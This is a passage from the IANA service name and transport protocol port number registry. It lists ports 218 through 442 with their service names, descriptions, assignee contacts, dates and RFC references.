mpp                 218        tcp    Netix Message Posting        [Shannon_Yeh]                                         [Shannon_Yeh]
                                      Protocol
mpp                 218        udp    Netix Message Posting        [Shannon_Yeh]                                         [Shannon_Yeh]
                                      Protocol
uarps               219        tcp    Unisys ARPs                  [Ashok_Marwaha]                                       [Ashok_Marwaha]
uarps               219        udp    Unisys ARPs                  [Ashok_Marwaha]                                       [Ashok_Marwaha]
imap3               220        tcp    Interactive Mail Access      [James_Rice]                                          [James_Rice]
                                      Protocol v3
imap3               220        udp    Interactive Mail Access      [James_Rice]                                          [James_Rice]
                                      Protocol v3
fln-spx             221        tcp    Berkeley rlogind with SPX
                                      auth
fln-spx             221        udp    Berkeley rlogind with SPX
                                      auth
rsh-spx             222        tcp    Berkeley rshd with SPX auth
rsh-spx             222        udp    Berkeley rshd with SPX auth
cdc                 223        tcp    Certificate Distribution     [Kannan_Alagappan]                                    [Kannan_Alagappan]
                                      Center
cdc                 223        udp    Certificate Distribution     [Kannan_Alagappan]                                    [Kannan_Alagappan]
                                      Center
masqdialer          224        tcp    masqdialer                   [Charles_Wright]                                      [Charles_Wright]                                                                                                                                         Possible Conflict of Port 222 with "Masqdialer"
masqdialer          224        udp    masqdialer                   [Charles_Wright]                                      [Charles_Wright]                                                                                                                                         Possible Conflict of Port 222 with "Masqdialer"
                  225-241             Reserved                     [Jon_Postel]                                          [Jon_Postel]
direct              242        tcp    Direct                       [Herb_Sutter]                                         [Paul_Horton]
direct              242        udp    Direct                       [Herb_Sutter]                                         [Paul_Horton]
sur-meas            243        tcp    Survey Measurement           [Dave_Clark]                                          [Dave_Clark]
sur-meas            243        udp    Survey Measurement           [Dave_Clark]                                          [Dave_Clark]
inbusiness          244        tcp    inbusiness                   [Derrick_Hisatake]                                    [Derrick_Hisatake]
inbusiness          244        udp    inbusiness                   [Derrick_Hisatake]                                    [Derrick_Hisatake]
link                245        tcp    LINK
link                245        udp    LINK
dsp3270             246        tcp    Display Systems Protocol     [Weldon_J_Showalter]                                  [Weldon_J_Showalter]
dsp3270             246        udp    Display Systems Protocol     [Weldon_J_Showalter]                                  [Weldon_J_Showalter]
                                      SUBNTBCST_TFTP

subntbcst-tftp      247        tcp    IANA assigned this           [John_Fake]                                           [John_Fake]
                                      well-formed service name as
                                      a replacement for
                                      "subntbcst_tftp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "subntbcst-tftp". This entry is now
subntbcst_tftp      247        tcp    SUBNTBCST_TFTP               [John_Fake]                                           [John_Fake]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      SUBNTBCST_TFTP

subntbcst-tftp      247        udp    IANA assigned this           [John_Fake]                                           [John_Fake]
                                      well-formed service name as
                                      a replacement for
                                      "subntbcst_tftp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "subntbcst-tftp". This entry is now
subntbcst_tftp      247        udp    SUBNTBCST_TFTP               [John_Fake]                                           [John_Fake]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
bhfhs               248        tcp    bhfhs                        [John_Kelly]                                          [John_Kelly]
bhfhs               248        udp    bhfhs                        [John_Kelly]                                          [John_Kelly]
                  249-255             Reserved                     [Jon_Postel]                                          [Jon_Postel]
rap                 256        tcp    RAP                          [J_S_Greenfield]                                      [J_S_Greenfield]
rap                 256        udp    RAP                          [J_S_Greenfield]                                      [J_S_Greenfield]
set                 257        tcp    Secure Electronic            [Donald_Eastlake]                                     [Donald_Eastlake]
                                      Transaction
set                 257        udp    Secure Electronic            [Donald_Eastlake]                                     [Donald_Eastlake]
                                      Transaction
                    258               Unassigned                                                                                                                                                2006-09-13
esro-gen            259        tcp    Efficient Short Remote       [Mohsen_Banan]                                        [Mohsen_Banan]
                                      Operations
esro-gen            259        udp    Efficient Short Remote       [Mohsen_Banan]                                        [Mohsen_Banan]
                                      Operations
openport            260        tcp    Openport                     [John_Marland]                                        [John_Marland]
openport            260        udp    Openport                     [John_Marland]                                        [John_Marland]
nsiiops             261        tcp    IIOP Name Service over       [Jeff_Stewart]                                        [Jeff_Stewart]
                                      TLS/SSL
nsiiops             261        udp    IIOP Name Service over       [Jeff_Stewart]                                        [Jeff_Stewart]
                                      TLS/SSL
arcisdms            262        tcp    Arcisdms                     [Russell_Crook]                                       [Russell_Crook]
arcisdms            262        udp    Arcisdms                     [Russell_Crook]                                       [Russell_Crook]
hdap                263        tcp    HDAP                         [Troy_Gau]                                            [Troy_Gau]
hdap                263        udp    HDAP                         [Troy_Gau]                                            [Troy_Gau]
bgmp                264        tcp    BGMP                         [Dave_Thaler]                                         [Dave_Thaler]
bgmp                264        udp    BGMP                         [Dave_Thaler]                                         [Dave_Thaler]
x-bone-ctl          265        tcp    X-Bone CTL                   [Joe_Touch]                                           [Joe_Touch]
x-bone-ctl          265        udp    X-Bone CTL                   [Joe_Touch]                                           [Joe_Touch]
sst                 266        tcp    SCSI on ST                   [Donald_D_Woelz]                                      [Donald_D_Woelz]
sst                 266        udp    SCSI on ST                   [Donald_D_Woelz]                                      [Donald_D_Woelz]
td-service          267        tcp    Tobit David Service Layer
td-service          267        udp    Tobit David Service Layer
td-replica          268        tcp    Tobit David Replica          [Franz_Josef_Leuders]                                 [Franz_Josef_Leuders]
td-replica          268        udp    Tobit David Replica          [Franz_Josef_Leuders]                                 [Franz_Josef_Leuders]
manet               269        tcp    MANET Protocols                                                                                                                                                        [RFC5498]
manet               269        udp    MANET Protocols                                                                                                                                                        [RFC5498]
                    270        tcp    Reserved
gist                270        udp    Q-mode encapsulation for                                                                                                                                               [RFC5971]
                                      GIST messages
                                      IETF Network Endpoint
pt-tls              271        tcp    Assessment (NEA) Posture     [IESG]                                                [IETF_Chair]                                              2012-07-31                [RFC6876]
                                      Transport Protocol over TLS
                                      (PT-TLS)
                    271        udp    Reserved
                  272-279             Unassigned
http-mgmt           280        tcp    http-mgmt                    [Adrian_Pell]                                         [Adrian_Pell]
http-mgmt           280        udp    http-mgmt                    [Adrian_Pell]                                         [Adrian_Pell]
personal-link       281        tcp    Personal Link                [Dan_Cummings]                                        [Dan_Cummings]
personal-link       281        udp    Personal Link                [Dan_Cummings]                                        [Dan_Cummings]
cableport-ax        282        tcp    Cable Port A/X               [Craig_Langfahl]                                      [Craig_Langfahl]
cableport-ax        282        udp    Cable Port A/X               [Craig_Langfahl]                                      [Craig_Langfahl]
rescap              283        tcp    rescap                       [Paul_Hoffman]                                        [Paul_Hoffman]
rescap              283        udp    rescap                       [Paul_Hoffman]                                        [Paul_Hoffman]
corerjd             284        tcp    corerjd                      [Chris_Thornhill]                                     [Chris_Thornhill]
corerjd             284        udp    corerjd                      [Chris_Thornhill]                                     [Chris_Thornhill]
                    285               Unassigned
fxp                 286        tcp    FXP Communication            [James_Darnall]                                       [James_Darnall]
fxp                 286        udp    FXP Communication            [James_Darnall]                                       [James_Darnall]
k-block             287        tcp    K-BLOCK                      [Simon_P_Jackson]                                     [Simon_P_Jackson]
k-block             287        udp    K-BLOCK                      [Simon_P_Jackson]                                     [Simon_P_Jackson]
                  288-307             Unassigned
novastorbakcup      308        tcp    Novastor Backup              [Brian_Dickman]                                       [Brian_Dickman]
novastorbakcup      308        udp    Novastor Backup              [Brian_Dickman]                                       [Brian_Dickman]
entrusttime         309        tcp    EntrustTime                  [Peter_Whittaker]                                     [Peter_Whittaker]
entrusttime         309        udp    EntrustTime                  [Peter_Whittaker]                                     [Peter_Whittaker]
bhmds               310        tcp    bhmds                        [John_Kelly]                                          [John_Kelly]
bhmds               310        udp    bhmds                        [John_Kelly]                                          [John_Kelly]
asip-webadmin       311        tcp    AppleShare IP WebAdmin       [Ann_Huang]                                           [Ann_Huang]
asip-webadmin       311        udp    AppleShare IP WebAdmin       [Ann_Huang]                                           [Ann_Huang]
vslmp               312        tcp    VSLMP                        [Gerben_Wierda]                                       [Gerben_Wierda]
vslmp               312        udp    VSLMP                        [Gerben_Wierda]                                       [Gerben_Wierda]
magenta-logic       313        tcp    Magenta Logic                [Karl_Rousseau]                                       [Karl_Rousseau]
magenta-logic       313        udp    Magenta Logic                [Karl_Rousseau]                                       [Karl_Rousseau]
opalis-robot        314        tcp    Opalis Robot                 [Laurent_Domenech]                                    [Laurent_Domenech]
opalis-robot        314        udp    Opalis Robot                 [Laurent_Domenech]                                    [Laurent_Domenech]
dpsi                315        tcp    DPSI                         [Tony_Scamurra]                                       [Tony_Scamurra]
dpsi                315        udp    DPSI                         [Tony_Scamurra]                                       [Tony_Scamurra]
decauth             316        tcp    decAuth                      [Michael_Agishtein]                                   [Michael_Agishtein]
decauth             316        udp    decAuth                      [Michael_Agishtein]                                   [Michael_Agishtein]
zannet              317        tcp    Zannet                       [Zan_Oliphant]                                        [Zan_Oliphant]
zannet              317        udp    Zannet                       [Zan_Oliphant]                                        [Zan_Oliphant]
pkix-timestamp      318        tcp    PKIX TimeStamp               [Robert_Zuccherato]                                   [Robert_Zuccherato]
pkix-timestamp      318        udp    PKIX TimeStamp               [Robert_Zuccherato]                                   [Robert_Zuccherato]
ptp-event           319        tcp    PTP Event                    [Kang_Lee]                                            [Kang_Lee]                                                2010-07-27
ptp-event           319        udp    PTP Event                    [Kang_Lee]                                            [Kang_Lee]                                                2010-07-27
ptp-general         320        tcp    PTP General                  [Kang_Lee]                                            [Kang_Lee]                                                2010-07-27
ptp-general         320        udp    PTP General                  [Kang_Lee]                                            [Kang_Lee]                                                2010-07-27
pip                 321        tcp    PIP                          [Gordon_Mohr]                                         [Gordon_Mohr]
pip                 321        udp    PIP                          [Gordon_Mohr]                                         [Gordon_Mohr]
rtsps               322        tcp    RTSPS                        [Anders_Klemets]                                      [Anders_Klemets]
rtsps               322        udp    RTSPS                        [Anders_Klemets]                                      [Anders_Klemets]
rpki-rtr            323        tcp    Resource PKI to Router       [IESG]                                                [IETF_Chair]                                                                        [RFC6810]
                                      Protocol
                    323        udp    Reserved
rpki-rtr-tls        324        tcp    Resource PKI to Router       [IESG]                                                [IETF_Chair]                                                                        [RFC6810]
                                      Protocol over TLS
                    324        udp    Reserved
                  325-332             Unassigned
texar               333        tcp    Texar Security Port          [Eugen_Bacic]                                         [Eugen_Bacic]
texar               333        udp    Texar Security Port          [Eugen_Bacic]                                         [Eugen_Bacic]
                  334-343             Unassigned
pdap                344        tcp    Prospero Data Access         [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      Protocol
pdap                344        udp    Prospero Data Access         [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      Protocol
pawserv             345        tcp    Perf Analysis Workbench
pawserv             345        udp    Perf Analysis Workbench
zserv               346        tcp    Zebra server
zserv               346        udp    Zebra server
fatserv             347        tcp    Fatmen Server
fatserv             347        udp    Fatmen Server
csi-sgwp            348        tcp    Cabletron Management
                                      Protocol
csi-sgwp            348        udp    Cabletron Management
                                      Protocol
mftp                349        tcp    mftp                         [Dave_Feinleib]                                       [Dave_Feinleib]
mftp                349        udp    mftp                         [Dave_Feinleib]                                       [Dave_Feinleib]
matip-type-a        350        tcp    MATIP Type A                 [Alain_Robert]                                        [Alain_Robert]                                                                      [RFC2351]
matip-type-a        350        udp    MATIP Type A                 [Alain_Robert]                                        [Alain_Robert]                                                                      [RFC2351]
matip-type-b        351        tcp    MATIP Type B                 [Alain_Robert]                                        [Alain_Robert]                                                                      [RFC2351]
matip-type-b        351        udp    MATIP Type B                 [Alain_Robert]                                        [Alain_Robert]                                                                      [RFC2351]
bhoetty             351        tcp    bhoetty                      [John_Kelly]                                          [John_Kelly]                                                                                                                                             This entry records an unassigned but widespread use (added
                                                                                                                                                                                                                                                                                  5/21/97)
bhoetty             351        udp    bhoetty                      [John_Kelly]                                          [John_Kelly]                                                                                                                                             This entry records an unassigned but widespread use (added
                                                                                                                                                                                                                                                                                  5/21/97)
dtag-ste-sb         352        tcp    DTAG                         [Ruediger_Wald]                                       [Ruediger_Wald]                                                                                                                                          (assigned long ago)
dtag-ste-sb         352        udp    DTAG                         [Ruediger_Wald]                                       [Ruediger_Wald]                                                                                                                                          (assigned long ago)
bhoedap4            352        tcp    bhoedap4                     [John_Kelly]                                          [John_Kelly]                                                                                                                                             This entry records an unassigned but widespread use (added
                                                                                                                                                                                                                                                                                  5/21/97)
bhoedap4            352        udp    bhoedap4                     [John_Kelly]                                          [John_Kelly]                                                                                                                                             This entry records an unassigned but widespread use (added
                                                                                                                                                                                                                                                                                  5/21/97)
ndsauth             353        tcp    NDSAUTH                      [Jayakumar_Ramalingam]                                [Jayakumar_Ramalingam]
ndsauth             353        udp    NDSAUTH                      [Jayakumar_Ramalingam]                                [Jayakumar_Ramalingam]
bh611               354        tcp    bh611                        [John_Kelly]                                          [John_Kelly]
bh611               354        udp    bh611                        [John_Kelly]                                          [John_Kelly]
datex-asn           355        tcp    DATEX-ASN                    [Kenneth_Vaughn]                                      [Kenneth_Vaughn]
datex-asn           355        udp    DATEX-ASN                    [Kenneth_Vaughn]                                      [Kenneth_Vaughn]
cloanto-net-1       356        tcp    Cloanto Net 1                [Michael_Battilana]                                   [Michael_Battilana]                                       2010-04-30
cloanto-net-1       356        udp    Cloanto Net 1                [Michael_Battilana]                                   [Michael_Battilana]                                       2010-04-30
bhevent             357        tcp    bhevent                      [John_Kelly]                                          [John_Kelly]
bhevent             357        udp    bhevent                      [John_Kelly]                                          [John_Kelly]
shrinkwrap          358        tcp    Shrinkwrap                   [Bill_Simpson]                                        [Bill_Simpson]
shrinkwrap          358        udp    Shrinkwrap                   [Bill_Simpson]                                        [Bill_Simpson]
nsrmp               359        tcp    Network Security Risk        [Eric_Jacksch]                                        [Eric_Jacksch]
                                      Management Protocol
nsrmp               359        udp    Network Security Risk        [Eric_Jacksch]                                        [Eric_Jacksch]
                                      Management Protocol
scoi2odialog        360        tcp    scoi2odialog                 [Keith_Petley]                                        [Keith_Petley]
scoi2odialog        360        udp    scoi2odialog                 [Keith_Petley]                                        [Keith_Petley]
semantix            361        tcp    Semantix                     [Semantix]                                            [Semantix]
semantix            361        udp    Semantix                     [Semantix]                                            [Semantix]
srssend             362        tcp    SRS Send                     [Curt_Mayer]                                          [Curt_Mayer]
srssend             362        udp    SRS Send                     [Curt_Mayer]                                          [Curt_Mayer]
                                      RSVP Tunnel

rsvp-tunnel         363        tcp    IANA assigned this           [Andreas_Terzis]                                      [Andreas_Terzis]
                                      well-formed service name as
                                      a replacement for
                                      "rsvp_tunnel".
                                                                                                                                                                                                                                                                                  This entry is an alias to "rsvp-tunnel". This entry is now
rsvp_tunnel         363        tcp    RSVP Tunnel                  [Andreas_Terzis]                                      [Andreas_Terzis]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      RSVP Tunnel

rsvp-tunnel         363        udp    IANA assigned this           [Andreas_Terzis]                                      [Andreas_Terzis]
                                      well-formed service name as
                                      a replacement for
                                      "rsvp_tunnel".
                                                                                                                                                                                                                                                                                  This entry is an alias to "rsvp-tunnel". This entry is now
rsvp_tunnel         363        udp    RSVP Tunnel                  [Andreas_Terzis]                                      [Andreas_Terzis]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
aurora-cmgr         364        tcp    Aurora CMGR                  [Philip_Budne]                                        [Philip_Budne]
aurora-cmgr         364        udp    Aurora CMGR                  [Philip_Budne]                                        [Philip_Budne]
dtk                 365        tcp    DTK                          [Fred_Cohen]                                          [Fred_Cohen]
dtk                 365        udp    DTK                          [Fred_Cohen]                                          [Fred_Cohen]
odmr                366        tcp    ODMR                         [Randall_Gellens]                                     [Randall_Gellens]
odmr                366        udp    ODMR                         [Randall_Gellens]                                     [Randall_Gellens]
mortgageware        367        tcp    MortgageWare                 [Ole_Hellevik]                                        [Ole_Hellevik]
mortgageware        367        udp    MortgageWare                 [Ole_Hellevik]                                        [Ole_Hellevik]
qbikgdp             368        tcp    QbikGDP                      [Adrien_de_Croy]                                      [Adrien_de_Croy]
qbikgdp             368        udp    QbikGDP                      [Adrien_de_Croy]                                      [Adrien_de_Croy]
rpc2portmap         369        tcp    rpc2portmap
rpc2portmap         369        udp    rpc2portmap
codaauth2           370        tcp    codaauth2                    [Robert_Watson]                                       [Robert_Watson]
codaauth2           370        udp    codaauth2                    [Robert_Watson]                                       [Robert_Watson]
clearcase           371        tcp    Clearcase                    [Dave_LeBlang]                                        [Dave_LeBlang]
clearcase           371        udp    Clearcase                    [Dave_LeBlang]                                        [Dave_LeBlang]
ulistproc           372        tcp    ListProcessor                [Anastasios_Kotsikona]                                [Anastasios_Kotsikona]
ulistproc           372        udp    ListProcessor                [Anastasios_Kotsikona]                                [Anastasios_Kotsikona]
legent-1            373        tcp    Legent Corporation
legent-1            373        udp    Legent Corporation
legent-2            374        tcp    Legent Corporation           [Keith_Boyce]                                         [Keith_Boyce]
legent-2            374        udp    Legent Corporation           [Keith_Boyce]                                         [Keith_Boyce]
hassle              375        tcp    Hassle                       [Reinhard_Doelz]                                      [Reinhard_Doelz]
hassle              375        udp    Hassle                       [Reinhard_Doelz]                                      [Reinhard_Doelz]
nip                 376        tcp    Amiga Envoy Network Inquiry  [Heinz_Wrobel]                                        [Heinz_Wrobel]
                                      Proto
nip                 376        udp    Amiga Envoy Network Inquiry  [Heinz_Wrobel]                                        [Heinz_Wrobel]
                                      Proto
tnETOS              377        tcp    NEC Corporation
tnETOS              377        udp    NEC Corporation
dsETOS              378        tcp    NEC Corporation              [Tomoo_Fujita]                                        [Tomoo_Fujita]
dsETOS              378        udp    NEC Corporation              [Tomoo_Fujita]                                        [Tomoo_Fujita]
is99c               379        tcp    TIA/EIA/IS-99 modem client
is99c               379        udp    TIA/EIA/IS-99 modem client
is99s               380        tcp    TIA/EIA/IS-99 modem server   [Frank_Quick]                                         [Frank_Quick]
is99s               380        udp    TIA/EIA/IS-99 modem server   [Frank_Quick]                                         [Frank_Quick]
hp-collector        381        tcp    hp performance data
                                      collector
hp-collector        381        udp    hp performance data
                                      collector
hp-managed-node     382        tcp    hp performance data managed
                                      node
hp-managed-node     382        udp    hp performance data managed
                                      node
hp-alarm-mgr        383        tcp    hp performance data alarm    [Frank_Blakely]                                       [Frank_Blakely]
                                      manager
hp-alarm-mgr        383        udp    hp performance data alarm    [Frank_Blakely]                                       [Frank_Blakely]
                                      manager
arns                384        tcp    A Remote Network Server      [David_Hornsby]                                       [David_Hornsby]
                                      System
arns                384        udp    A Remote Network Server      [David_Hornsby]                                       [David_Hornsby]
                                      System
ibm-app             385        tcp    IBM Application              [Lisa_Tomita]                                         [Lisa_Tomita]
ibm-app             385        udp    IBM Application              [Lisa_Tomita]                                         [Lisa_Tomita]
asa                 386        tcp    ASA Message Router Object    [Steve_Laitinen]                                      [Steve_Laitinen]
                                      Def.
asa                 386        udp    ASA Message Router Object    [Steve_Laitinen]                                      [Steve_Laitinen]
                                      Def.
aurp                387        tcp    Appletalk Update-Based       [Chris_Ranch]                                         [Chris_Ranch]
                                      Routing Pro.
aurp                387        udp    Appletalk Update-Based       [Chris_Ranch]                                         [Chris_Ranch]
                                      Routing Pro.
unidata-ldm         388        tcp    Unidata LDM                  [University_Corporation_for_Atmospheric_Research2]    [Steven_Emmerson2]                                                     2012-05-18
unidata-ldm         388        udp    Unidata LDM                  [University_Corporation_for_Atmospheric_Research2]    [Steven_Emmerson2]                                                     2012-05-18
ldap                389        tcp    Lightweight Directory Access [Tim_Howes]                                           [Tim_Howes]
                                      Protocol
ldap                389        udp    Lightweight Directory Access [Tim_Howes]                                           [Tim_Howes]
                                      Protocol
uis                 390        tcp    UIS                          [Ed_Barron]                                           [Ed_Barron]
uis                 390        udp    UIS                          [Ed_Barron]                                           [Ed_Barron]
synotics-relay      391        tcp    SynOptics SNMP Relay Port
synotics-relay      391        udp    SynOptics SNMP Relay Port
synotics-broker     392        tcp    SynOptics Port Broker Port   [Illan_Raab]                                          [Illan_Raab]
synotics-broker     392        udp    SynOptics Port Broker Port   [Illan_Raab]                                          [Illan_Raab]
meta5               393        tcp    Meta5                        [Jim_Kanzler]                                         [Jim_Kanzler]
meta5               393        udp    Meta5                        [Jim_Kanzler]                                         [Jim_Kanzler]
embl-ndt            394        tcp    EMBL Nucleic Data Transfer   [Peter_Gad]                                           [Peter_Gad]
embl-ndt            394        udp    EMBL Nucleic Data Transfer   [Peter_Gad]                                           [Peter_Gad]
netcp               395        tcp    NetScout Control Protocol    [Ashwani_Singhal]                                     [Ashwani_Singhal]                                         2010-04-07
netcp               395        udp    NetScout Control Protocol    [Ashwani_Singhal]                                     [Ashwani_Singhal]                                         2010-04-07
netware-ip          396        tcp    Novell Netware over IP
netware-ip          396        udp    Novell Netware over IP
mptn                397        tcp    Multi Protocol Trans. Net.   [Soumitra_Sarkar]                                     [Soumitra_Sarkar]
mptn                397        udp    Multi Protocol Trans. Net.   [Soumitra_Sarkar]                                     [Soumitra_Sarkar]
kryptolan           398        tcp    Kryptolan                    [Peter_de_Laval]                                      [Peter_de_Laval]
kryptolan           398        udp    Kryptolan                    [Peter_de_Laval]                                      [Peter_de_Laval]
iso-tsap-c2         399        tcp    ISO Transport Class 2        [Yanick_Pouffary]                                     [Yanick_Pouffary]
                                      Non-Control over TCP
iso-tsap-c2         399        udp    ISO Transport Class 2        [Yanick_Pouffary]                                     [Yanick_Pouffary]
                                      Non-Control over UDP
osb-sd              400        tcp    Oracle Secure Backup         [Joseph_Dziedzic]                                     [Joseph_Dziedzic]                                         2008-06-06                                                                                     Formerly was Workstation Solutions
osb-sd              400        udp    Oracle Secure Backup         [Joseph_Dziedzic]                                     [Joseph_Dziedzic]                                         2008-06-06                                                                                     Formerly was Workstation Solutions
ups                 401        tcp    Uninterruptible Power Supply [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
ups                 401        udp    Uninterruptible Power Supply [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
genie               402        tcp    Genie Protocol               [Mark_Hankin]                                         [Mark_Hankin]
genie               402        udp    Genie Protocol               [Mark_Hankin]                                         [Mark_Hankin]
decap               403        tcp    decap
decap               403        udp    decap
nced                404        tcp    nced
nced                404        udp    nced
ncld                405        tcp    ncld                         [Richard_Jones]                                       [Richard_Jones]
ncld                405        udp    ncld                         [Richard_Jones]                                       [Richard_Jones]
imsp                406        tcp    Interactive Mail Support     [John_Myers]                                          [John_Myers]
                                      Protocol
imsp                406        udp    Interactive Mail Support     [John_Myers]                                          [John_Myers]
                                      Protocol
timbuktu            407        tcp    Timbuktu                     [Marc_Epard]                                          [Marc_Epard]
timbuktu            407        udp    Timbuktu                     [Marc_Epard]                                          [Marc_Epard]
prm-sm              408        tcp    Prospero Resource Manager
                                      Sys. Man.
prm-sm              408        udp    Prospero Resource Manager
                                      Sys. Man.
prm-nm              409        tcp    Prospero Resource Manager    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      Node Man.
prm-nm              409        udp    Prospero Resource Manager    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      Node Man.
decladebug          410        tcp    DECLadebug Remote Debug      [Hewlett_Packard]                                     [Hewlett_Packard]
                                      Protocol
decladebug          410        udp    DECLadebug Remote Debug      [Hewlett_Packard]                                     [Hewlett_Packard]
                                      Protocol
rmt                 411        tcp    Remote MT Protocol           [Peter_Eriksson]                                      [Peter_Eriksson]
rmt                 411        udp    Remote MT Protocol           [Peter_Eriksson]                                      [Peter_Eriksson]
synoptics-trap      412        tcp    Trap Convention Port         [Illan_Raab]                                          [Illan_Raab]
synoptics-trap      412        udp    Trap Convention Port         [Illan_Raab]                                          [Illan_Raab]
smsp                413        tcp    Storage Management Services  [Murthy_Srinivas]                                     [Murthy_Srinivas]
                                      Protocol
smsp                413        udp    Storage Management Services  [Murthy_Srinivas]                                     [Murthy_Srinivas]
                                      Protocol
infoseek            414        tcp    InfoSeek                     [Steve_Kirsch]                                        [Steve_Kirsch]
infoseek            414        udp    InfoSeek                     [Steve_Kirsch]                                        [Steve_Kirsch]
bnet                415        tcp    BNet                         [Jim_Mertz]                                           [Jim_Mertz]
bnet                415        udp    BNet                         [Jim_Mertz]                                           [Jim_Mertz]
silverplatter       416        tcp    Silverplatter                [Peter_Ciuffetti]                                     [Peter_Ciuffetti]
silverplatter       416        udp    Silverplatter                [Peter_Ciuffetti]                                     [Peter_Ciuffetti]
onmux               417        tcp    Onmux                        [Stephen_Hanna]                                       [Stephen_Hanna]
onmux               417        udp    Onmux                        [Stephen_Hanna]                                       [Stephen_Hanna]
hyper-g             418        tcp    Hyper-G                      [Frank_Kappe]                                         [Frank_Kappe]
hyper-g             418        udp    Hyper-G                      [Frank_Kappe]                                         [Frank_Kappe]
ariel1              419        tcp    Ariel 1                      [Joel_Karafin]                                        [Joel_Karafin]
ariel1              419        udp    Ariel 1                      [Joel_Karafin]                                        [Joel_Karafin]
smpte               420        tcp    SMPTE                        [Si_Becker]                                           [Si_Becker]
smpte               420        udp    SMPTE                        [Si_Becker]                                           [Si_Becker]
ariel2              421        tcp    Ariel 2
ariel2              421        udp    Ariel 2
ariel3              422        tcp    Ariel 3                      [Joel_Karafin]                                        [Joel_Karafin]
ariel3              422        udp    Ariel 3                      [Joel_Karafin]                                        [Joel_Karafin]
opc-job-start       423        tcp    IBM Operations Planning and
                                      Control Start
opc-job-start       423        udp    IBM Operations Planning and
                                      Control Start
opc-job-track       424        tcp    IBM Operations Planning and  [Conny_Larsson]                                       [Conny_Larsson]
                                      Control Track
opc-job-track       424        udp    IBM Operations Planning and  [Conny_Larsson]                                       [Conny_Larsson]
                                      Control Track
icad-el             425        tcp    ICAD                         [Larry_Stone]                                         [Larry_Stone]
icad-el             425        udp    ICAD                         [Larry_Stone]                                         [Larry_Stone]
smartsdp            426        tcp    smartsdp                     [Marie_Pierre_Belange]                                [Marie_Pierre_Belange]
smartsdp            426        udp    smartsdp                     [Marie_Pierre_Belange]                                [Marie_Pierre_Belange]
svrloc              427        tcp    Server Location              [Veizades]                                            [Veizades]
svrloc              427        udp    Server Location              [Veizades]                                            [Veizades]
                                      OCS_CMU

ocs-cmu             428        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for "ocs_cmu".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ocs-cmu". This entry is now
ocs_cmu             428        tcp    OCS_CMU                                                                                                                                                                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      OCS_CMU

ocs-cmu             428        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for "ocs_cmu".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ocs-cmu". This entry is now
ocs_cmu             428        udp    OCS_CMU                                                                                                                                                                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      OCS_AMU

ocs-amu             429        tcp    IANA assigned this           [Florence_Wyman]                                      [Florence_Wyman]
                                      well-formed service name as
                                      a replacement for "ocs_amu".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ocs-amu". This entry is now
ocs_amu             429        tcp    OCS_AMU                      [Florence_Wyman]                                      [Florence_Wyman]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      OCS_AMU

ocs-amu             429        udp    IANA assigned this           [Florence_Wyman]                                      [Florence_Wyman]
                                      well-formed service name as
                                      a replacement for "ocs_amu".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ocs-amu". This entry is now
ocs_amu             429        udp    OCS_AMU                      [Florence_Wyman]                                      [Florence_Wyman]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
utmpsd              430        tcp    UTMPSD
utmpsd              430        udp    UTMPSD
utmpcd              431        tcp    UTMPCD
utmpcd              431        udp    UTMPCD
iasd                432        tcp    IASD                         [Nir_Baroz]                                           [Nir_Baroz]
iasd                432        udp    IASD                         [Nir_Baroz]                                           [Nir_Baroz]
nnsp                433        tcp    NNTP for transit servers     [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC3977]
                                      (NNSP)
nnsp                433        udp    NNTP for transit servers     [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC3977]
                                      (NNSP)
mobileip-agent      434        tcp    MobileIP-Agent
mobileip-agent      434        udp    MobileIP-Agent
mobilip-mn          435        tcp    MobilIP-MN                   [Kannan_Alagappan_2]                                  [Kannan_Alagappan_2]
mobilip-mn          435        udp    MobilIP-MN                   [Kannan_Alagappan_2]                                  [Kannan_Alagappan_2]
dna-cml             436        tcp    DNA-CML                      [Dan_Flowers]                                         [Dan_Flowers]
dna-cml             436        udp    DNA-CML                      [Dan_Flowers]                                         [Dan_Flowers]
comscm              437        tcp    comscm                       [Jim_Teague]                                          [Jim_Teague]
comscm              437        udp    comscm                       [Jim_Teague]                                          [Jim_Teague]
dsfgw               438        tcp    dsfgw                        [Andy_McKeen]                                         [Andy_McKeen]
dsfgw               438        udp    dsfgw                        [Andy_McKeen]                                         [Andy_McKeen]
dasp                439        tcp    dasp                         [Thomas_Obermair]                                     [Thomas_Obermair]
dasp                439        udp    dasp                         [Thomas_Obermair]                                     [Thomas_Obermair]
sgcp                440        tcp    sgcp                         [Marshall_Rose]                                       [Marshall_Rose]
sgcp                440        udp    sgcp                         [Marshall_Rose]                                       [Marshall_Rose]
decvms-sysmgt       441        tcp    decvms-sysmgt                [Lee_Barton]                                          [Lee_Barton]
decvms-sysmgt       441        udp    decvms-sysmgt                [Lee_Barton]                                          [Lee_Barton]
                                      cvc_hostd

cvc-hostd           442        tcp    IANA assigned this           [Bill_Davidson]                                       [Bill_Davidson]
                                      well-formed service name as
                                      a replacement for
                                      "cvc_hostd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "cvc-hostd". This entry is now
